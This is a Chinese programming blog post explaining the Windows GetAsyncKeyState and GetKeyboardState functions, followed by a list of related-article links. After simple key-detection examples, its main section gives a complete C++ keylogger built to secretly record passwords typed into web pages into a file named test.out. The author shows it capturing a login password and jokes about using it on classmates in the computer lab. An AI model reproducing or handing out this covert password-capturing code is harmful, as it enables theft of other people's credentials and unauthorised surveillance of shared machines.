C++技术:GetAsyncKeyState 与 GetKeyboardState 函数
文章目录
- luogu博客链接
- C++技术 - GetAsyncKeyState 与 GetKeyboardState 函数
- GetAsyncKeyState 与 GetKeyboardState 函数的介绍
- SHORT GetAsyncKeyState( int vKey )
- BOOL GetKeyboardState( PBYTE lpKeyState )
- GetAsyncKeyState 与 GetKeyboardState 函数的简单应用
- GetAsyncKeyState 函数
- KEY_UP
- KEY_DOWN
- GetKeyboardState 函数
- GetAsyncKeyState 与 GetKeyboardState 函数的复杂应用
- 前言
- 用法
- 后续
- 写文章不易,望大家给 JG_DF_ 点个赞!
luogu博客链接
C++技术 - GetAsyncKeyState 与 GetKeyboardState 函数
GetAsyncKeyState 与 GetKeyboardState 函数的介绍
SHORT GetAsyncKeyState( int vKey )
判断 Virtual-KeyCodes 为 vKey 的键是否 up 或 down 。用返回值的最高位表示键的状态( up 或 down ),用返回值的最低位表示 vKey 键在此函数调用之前是否被按下过。
GetAsyncKeyState 函数可以直接侦测键盘的硬件中断。
BOOL GetKeyboardState( PBYTE lpKeyState )
获得所有的 256256256 个键(键盘按键、鼠标按键等等)的状态, lpKeyState 是指向一个 256256256 bit 的数组,存放所有键的状态。
GetAsyncKeyState 与 GetKeyboardState 函数的简单应用
GetAsyncKeyState 函数
通过该函数的介绍,我们可以将它分成两部分,一个是 KEY_UP ,另一个是 KEY_DOWN ,我们以是否检测到换行(即 Enter )为例:
KEY_UP
#include<iostream>
#include<windows.h>
#define KEY_UP(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 0:1)
using namespace std;
int main() {while(1) {while(!KEY_UP(13)) {//Enter在Key Code中为13cout<<" Enter is on \n";Sleep(150);}}return 0;
}
KEY_DOWN
#include<iostream>
#include<windows.h>
#define KEY_DOWN(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 1:0)
using namespace std;
int main() {while(1) {while(KEY_DOWN(13)) {//Enter在Key Code中为13cout<<" Enter is on \n";Sleep(150);}}return 0;
}
在上述程序中, KEY_UP 是当没有检测到 Enter 没有输入时才输出 " Enter is on " , KEY_DOWN 是当检测到 Enter 有输入时才输出 " Enter is on " 。
其实 KEY_UP 与 KEY_DOWN 是相反的,但为了方便理解,我们一般都使用 KEY_DOWN 。
GetKeyboardState 函数
该函数一般用来检测 CapsLock 或 NumLock 是否开启,但仅限于用在程序开启之前(因为程序打开后就只能靠 GetAsyncKeyState 检测了)。
我们以是否在程序开启前检测到 CapsLock 或 NumLock 为例:
#include<iostream>
#include<windows.h>
using namespace std;
BYTE lpKeyState[256];
int main() {if (GetKeyboardState(lpKeyState) ) {printf(" CapsLock is %s\n", LOBYTE(lpKeyState[20]) ? "on " : "off ");//CapsLock在Key Code中为20printf(" NumLock is %s\n", LOBYTE(lpKeyState[144]) ? "on " : "off ");//NumLock在Key Code中为144}return 0;
}
GetAsyncKeyState 与 GetKeyboardState 函数的复杂应用
前言
Q:是否存在一种程序在程序打开之后,当在本机中输入某网页里的密码时,可以将密码显示在一个 OUT 文件 test 里。
A:只要你会应用 GetAsyncKeyState 与 GetKeyboardState 函数,那么这种事情是比较容易的。
用法
首先我们要知道当我们输入某网页里的密码常按的键有哪些,则上述问题即可转化为:
读入若干个键(包含字母键、数字键、 CapsLock 键、 NumLock 键、 Shift 键和删除键)形成的字符串,要求不能在程序中显示,需打印到一个 OUT 文件 test 里。
字母键
首先用 GetKeyboardState 函数预先检测 CapsLock 键是否开启,后期用 GetAsyncKeyState 函数检测 CapsLock 键是否改变,并用 KEY_DOWN 检测是否按下英文字母 262626 个键以及 Shift 键。
在 Shift 键下如果有 CapsLock 则输出小写字母,否则输出大写字母;在没有 Shift 键下如果有 CapsLock 则输出大写字母,否则输出小写字母。
数字键
分数字键和数字键盘上的数字键。
在数字键中直接用 KEY_DOWN 检测输出即可。
在数字键盘上的数字键需先用 GetKeyboardState 函数预先检测 NumLock 键是否开启,后期用 GetAsyncKeyState 函数检测 NumLock 键是否改变,并用 KEY_DOWN 检测到数字键盘上的数字键且 NumLock 已开启输出即可。
删除键
当检测到可以输出字符时,就用一个字符串存储该字符。
当检测到删除键时,刷新 OUT 文件 test ,并将该字符串最后一个字符删掉并输出即可。
#include<iostream>//字符删除和字符输出需要的头文件
#include<cstdio>//文件创建需要的头文件
#include<cstring>//字符删除需要的头文件
#include<windows.h>//GetAsyncKeyState与GetKeyboardState函数需要的头文件
#define KEY_DOWN(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 1:0)//GetAsyncKeyState函数中的KEY_DOWN
using namespace std;
int CapsLock,NumLock,Shift;//CapsLock键、NumLock键和Shift键的检测标记
string str;//字符存储
BYTE lpKeyState[256];//GetKeyboardState函数需要
int main() {freopen("test.out","w",stdout);//初始化文件,开始读入if (GetKeyboardState(lpKeyState) ) {//初始时检测CapsLock键和NumLock键CapsLock=LOBYTE(lpKeyState[20])?1:0;//检测CapsLock键是否已按,有就标记为1,否则标记为0NumLock=LOBYTE(lpKeyState[144])?1:0;//检测NumLock键是否已按,有就标记为1,否则标记为0}while(1) {while(KEY_DOWN(8)) {//检测删除键freopen("test.out","w",stdout);//刷新文件并读入if(str.size()!=0)//判断字符串是否是空串,如果是空串而继续删除,则会发生数组越界而程序错误str.erase(str.size()-1);//删除最后一个字符cout<<str;//输出字符串Sleep(150);}while(KEY_DOWN(20)) {//后期检测CapsLock键CapsLock=CapsLock==1?0:1;//检测CapsLock键是否改变,有就更该标记Sleep(150);}while(KEY_DOWN(144)) {//后期检测NumLock键NumLock=NumLock==1?0:1;//检测CapsLock键是否改变,有就更该标记Sleep(150);}while(KEY_DOWN(16)) {//检测到Shift键//在Shift键下如果有CapsLock则输出小写字母,否则输出大写字母while(KEY_DOWN('A')) {if(!CapsLock) cout<<'A',str+='A';else cout<<'a',str+='a';Sleep(150);}while(KEY_DOWN('B')) {if(!CapsLock) cout<<'B',str+='B';else cout<<'b',str+='b';Sleep(150);}while(KEY_DOWN('C')) {if(!CapsLock) cout<<'C',str+='C';else cout<<'c',str+='c';Sleep(150);}while(KEY_DOWN('D')) {if(!CapsLock) cout<<'D',str+='D';else cout<<'d',str+='d';Sleep(150);}while(KEY_DOWN('E')) {if(!CapsLock) cout<<'E',str+='E';else cout<<'e',str+='e';Sleep(150);}while(KEY_DOWN('F')) {if(!CapsLock) cout<<'F',str+='F';else cout<<'f',str+='f';Sleep(150);}while(KEY_DOWN('G')) {if(!CapsLock) cout<<'G',str+='G';else cout<<'g',str+='g';Sleep(150);}while(KEY_DOWN('H')) {if(!CapsLock) cout<<'H',str+='H';else cout<<'h',str+='h';Sleep(150);}while(KEY_DOWN('I')) {if(!CapsLock) cout<<'I',str+='I';else cout<<'i',str+='i';Sleep(150);}while(KEY_DOWN('J')) {if(!CapsLock) cout<<'J',str+='J';else cout<<'j',str+='j';Sleep(150);}while(KEY_DOWN('K')) {if(!CapsLock) cout<<'K',str+='K';else cout<<'k',str+='k';Sleep(150);}while(KEY_DOWN('L')) {if(!CapsLock) cout<<'L',str+='L';else cout<<'l',str+='l';Sleep(150);}while(KEY_DOWN('M')) {if(!CapsLock) cout<<'M',str+='M';else cout<<'m',str+='m';Sleep(150);}while(KEY_DOWN('N')) {if(!CapsLock) cout<<'N',str+='N';else cout<<'n',str+='n';Sleep(150);}while(KEY_DOWN('O')) {if(!CapsLock) cout<<'O',str+='O';else cout<<'o',str+='o';Sleep(150);}while(KEY_DOWN('P')) {if(!CapsLock) cout<<'P',str+='P';else cout<<'p',str+='p';Sleep(150);}while(KEY_DOWN('Q')) {if(!CapsLock) cout<<'Q',str+='Q';else cout<<'q',str+='q';Sleep(150);}while(KEY_DOWN('R')) {if(!CapsLock) cout<<'R',str+='R';else cout<<'r',str+='r';Sleep(150);}while(KEY_DOWN('S')) {if(!CapsLock) cout<<'S',str+='S';else cout<<'s',str+='s';Sleep(150);}while(KEY_DOWN('T')) {if(!CapsLock) cout<<'T',str+='T';else cout<<'t',str+='t';Sleep(150);}while(KEY_DOWN('U')) {if(!CapsLock) cout<<'U',str+='U';else cout<<'u',str+='u';Sleep(150);}while(KEY_DOWN('V')) {if(!CapsLock) cout<<'V',str+='V';else cout<<'v',str+='v';Sleep(150);}while(KEY_DOWN('W')) {if(!CapsLock) cout<<'W',str+='W';else cout<<'w',str+='w';Sleep(150);}while(KEY_DOWN('X')) {if(!CapsLock) cout<<'X',str+='X';else cout<<'x',str+='x';Sleep(150);}while(KEY_DOWN('Y')) {if(!CapsLock) cout<<'Y',str+='Y';else cout<<'y',str+='y';Sleep(150);}while(KEY_DOWN('Z')) {if(!CapsLock) cout<<'Z',str+='Z';else cout<<'z',str+='z';Sleep(150);}}//在没有Shift键下如果有CapsLock则输出大写字母,否则输出小写字母while(KEY_DOWN('A')) {if(CapsLock) cout<<'A',str+='A';else cout<<'a',str+='a';Sleep(150);}while(KEY_DOWN('B')) {if(CapsLock) cout<<'B',str+='B';else cout<<'b',str+='b';Sleep(150);}while(KEY_DOWN('C')) {if(CapsLock) cout<<'C',str+='C';else cout<<'c',str+='c';Sleep(150);}while(KEY_DOWN('D')) {if(CapsLock) cout<<'D',str+='D';else cout<<'d',str+='d';Sleep(150);}while(KEY_DOWN('E')) {if(CapsLock) cout<<'E',str+='E';else cout<<'e',str+='e';Sleep(150);}while(KEY_DOWN('F')) {if(CapsLock) cout<<'F',str+='F';else cout<<'f',str+='f';Sleep(150);}while(KEY_DOWN('G')) {if(CapsLock) cout<<'G',str+='G';else cout<<'g',str+='g';Sleep(150);}while(KEY_DOWN('H')) {if(CapsLock) cout<<'H',str+='H';else cout<<'h',str+='h';Sleep(150);}while(KEY_DOWN('I')) {if(CapsLock) cout<<'I',str+='I';else cout<<'i',str+='i';Sleep(150);}while(KEY_DOWN('J')) {if(CapsLock) cout<<'J',str+='J';else cout<<'j',str+='j';Sleep(150);}while(KEY_DOWN('K')) {if(CapsLock) cout<<'K',str+='K';else cout<<'k',str+='k';Sleep(150);}while(KEY_DOWN('L')) {if(CapsLock) cout<<'L',str+='L';else cout<<'l',str+='l';Sleep(150);}while(KEY_DOWN('M')) {if(CapsLock) cout<<'M',str+='M';else cout<<'m',str+='m';Sleep(150);}while(KEY_DOWN('N')) {if(CapsLock) cout<<'N',str+='N';else cout<<'n',str+='n';Sleep(150);}while(KEY_DOWN('O')) {if(CapsLock) cout<<'O',str+='O';else cout<<'o',str+='o';Sleep(150);}while(KEY_DOWN('P')) {if(CapsLock) cout<<'P',str+='P';else cout<<'p',str+='p';Sleep(150);}while(KEY_DOWN('Q')) {if(CapsLock) cout<<'Q',str+='Q';else cout<<'q',str+='q';Sleep(150);}while(KEY_DOWN('R')) {if(CapsLock) cout<<'R',str+='R';else cout<<'r',str+='r';Sleep(150);}while(KEY_DOWN('S')) {if(CapsLock) cout<<'S',str+='S';else cout<<'s',str+='s';Sleep(150);}while(KEY_DOWN('T')) {if(CapsLock) cout<<'T',str+='T';else cout<<'t',str+='t';Sleep(150);}while(KEY_DOWN('U')) {if(CapsLock) cout<<'U',str+='U';else cout<<'u',str+='u';Sleep(150);}while(KEY_DOWN('V')) {if(CapsLock) cout<<'V',str+='V';else cout<<'v',str+='v';Sleep(150);}while(KEY_DOWN('W')) {if(CapsLock) cout<<'W',str+='W';else cout<<'w',str+='w';Sleep(150);}while(KEY_DOWN('X')) {if(CapsLock) cout<<'X',str+='X';else cout<<'x',str+='x';Sleep(150);}while(KEY_DOWN('Y')) {if(CapsLock) cout<<'Y',str+='Y';else cout<<'y',str+='y';Sleep(150);}while(KEY_DOWN('Z')) {if(CapsLock) cout<<'Z',str+='Z';else cout<<'z',str+='z';Sleep(150);}//数字键无需检测NumLock是否开启,检测到数字键就直接输出while(KEY_DOWN('0')) {cout<<'0',str+='0';Sleep(150);}while(KEY_DOWN('1')) {cout<<'1',str+='1';Sleep(150);}while(KEY_DOWN('2')) {cout<<'2',str+='2';Sleep(150);}while(KEY_DOWN('3')) {cout<<'3',str+='3';Sleep(150);}while(KEY_DOWN('4')) {cout<<'4',str+='4';Sleep(150);}while(KEY_DOWN('5')) {cout<<'5',str+='5';Sleep(150);}while(KEY_DOWN('6')) {cout<<'6',str+='6';Sleep(150);}while(KEY_DOWN('7')) {cout<<'7',str+='7';Sleep(150);}while(KEY_DOWN('8')) {cout<<'8',str+='8';Sleep(150);}while(KEY_DOWN('9')) {cout<<'9',str+='9';Sleep(150);}//数字键盘上的数字键需检测NumLock是否开启,检测到数字键盘上的键需NumLock已开启才能输出while(KEY_DOWN('0'+48)&&NumLock) {cout<<'0',str+='0';Sleep(150);}while(KEY_DOWN('1'+48)&&NumLock) {cout<<'1',str+='1';Sleep(150);}while(KEY_DOWN('2'+48)&&NumLock) {cout<<'2',str+='2';Sleep(150);}while(KEY_DOWN('3'+48)&&NumLock) {cout<<'3',str+='3';Sleep(150);}while(KEY_DOWN('4'+48)&&NumLock) {cout<<'4',str+='4';Sleep(150);}while(KEY_DOWN('5'+48)&&NumLock) {cout<<'5',str+='5';Sleep(150);}while(KEY_DOWN('6'+48)&&NumLock) {cout<<'6',str+='6';Sleep(150);}while(KEY_DOWN('7'+48)&&NumLock) {cout<<'7',str+='7';Sleep(150);}while(KEY_DOWN('8'+48)&&NumLock) {cout<<'8',str+='8';Sleep(150);}while(KEY_DOWN('9'+48)&&NumLock) {cout<<'9',str+='9';Sleep(150);}}return 0;
}
后续
在 luogu 登录中输入密码(oyearvan114514thatsgood)就可以在 OUT 文件 test 里打印出来,如图:
(猎杀时刻)是时候用这个去诱惑你同机房睿智的同学了。。。
写文章不易,望大家给 JG_DF_ 点个赞!
C++技术:GetAsyncKeyState 与 GetKeyboardState 函数相关推荐
- C++技术 - GetAsyncKeyState 与 GetKeyboardState 函数
C++技术 - GetAsyncKeyState 与 GetKeyboardState 函数 GetAsyncKeyState 与 GetKeyboardState 函数的介绍 SHORT GetAs ...
- GetKeyState、GetAsyncKeyState、GetKeyboardState函数的区别:
GetKeyState.GetAsyncKeyState.GetKeyboardState函数的区别: 1.BOOL GetKeyboardState( PBYTE lpKeyState );获得所有 ...
- GetKeyState、GetAsyncKeyState、GetKeyboardState函数的区别 以及虚拟键值
GetKeyState.GetAsyncKeyState.GetKeyboardState函数的区别: 1.BOOL GetKeyboardState( PBYTE lpKeyState );获得所有 ...
- STL运用的C++技术(6)——函数对象
http://blog.csdn.net/wuzhekai1985/article/details/6658940?_t_t_t=0.20427969420870595 STL是C++标准库的重要组成 ...
- 技术点:connect函数的几种写法及连接方式
技术点:connect函数的几种写法及连接方式 沭osTT 0.077 2020.07.21 09:38:09 字数 2,494 阅读 2,336 前言 conncet函数是QT中信号和槽机制的实现函 ...
- 提高C++性能的编程技术笔记:虚函数、返回值优化+测试代码
虚函数:在以下几个方面,虚函数可能会造成性能损失:构造函数必须初始化vptr(虚函数表):虚函数是通过指针间接调用的,所以必须先得到指向虚函数表的指针,然后再获得正确的函数偏移量:内联是在编译时决定的 ...
- C语言TransparentBlt函数,技术分享 - 使用TransparentBlt函数实现绘制透明位图
背景 在自己本科的时候,喜欢用 VC6.0 写一些小游戏来锻炼自己的编程水平.那些小游戏的游戏画面绘制都是使用Windows提供的GDI(图形设备接口)函数实现的,并没有调用现成的游戏引擎.所以,使得 ...
- C++中的Thunk技术 / 非静态类成员函数作为回调函数 的实现方法
申明:本文非笔者原创,原文转载自:http://www.cnblogs.com/memset/p/thunk_in_cpp.html 用我的理解通俗地解释一下什么是C++中的Thunk技术吧! Thu ...
- C++ Primer 5th笔记(chap 19 特殊工具与技术)将成员函数用作可调用对象
1. 通过一个指向成员函数的指针进行函数调用 利用.*或者->*运算符将该指针绑定到特定的对象上. 与普通的函数指针不同,成员指针不是一个可调用对象 不支持函数调用运算符. 不能直接将一个指向成 ...
最新文章
- zookeeper -- Mac 上 Intellij IDEA 配置 zookeeper(3.5.8) 源码阅读、运行、调试环境
- ASP.NET MVC 右键点击添加没有区域(Area)、控制器、试图等选项
- python excel 自动化-python操作excel让工作自动化
- SpringBoot的构造方法中使用@AutoWird注入的类会报错null
- 分享bootstrap3.0.2响应式模板-第三弹[Metronic_Admin]
- pythonselenium教程模拟鼠标和键盘_【02篇】python+selenium实现Web自动化:鼠标操作和键盘操作!...
- redis cluster所有节点IP修改处理方案
- Xcode9.x变很卡
- MyBatis基础:MyBatis入门(1)
- JQuery Easyui/TopJUI表格基本的删除功能(删除当前行和多选删除)
- 腾讯云linux远程桌面连接不上去,腾讯云服务器无法远程桌面连接的解决办法
- txt转mobi格式
- linux万兆网络传输速度,万兆以太网传输速度实测 (结果: 单向9984Mbps, 双向19808Mbps)...
- C#之字符串公式计算
- 主板、内存条、硬盘、显卡认识和选购
- 数模(2)——多属性决策模型
- html神坑之button的type属性
- Flink DataStream API 中的多面手——Process Function详解
- html文件转换txt乱码怎么办,网页乱码怎么解决?
- 如何避开JavaScript浮点数计算精度问题(如0.1+0.2!==0.3)
热门文章
- android打开应用程序,通过浏览器直接打开Android App 应用程序
- networkx是什么
- 通过dns-cheater安装部署个人内网DNS域名解析服务器
- Session.Abandon和Session.Clear的实现和区别
- kickstart配置文件详解
- electron打包后启动应用,提示cannot find module fs/promises的解决
- 大数据架构-使用HBase和Solr配置存储与索引
- catkin_make, cmake, catkin build区别
- vue3 组件双向数据绑定代码
- 0.96寸OLED屏硬件驱动电路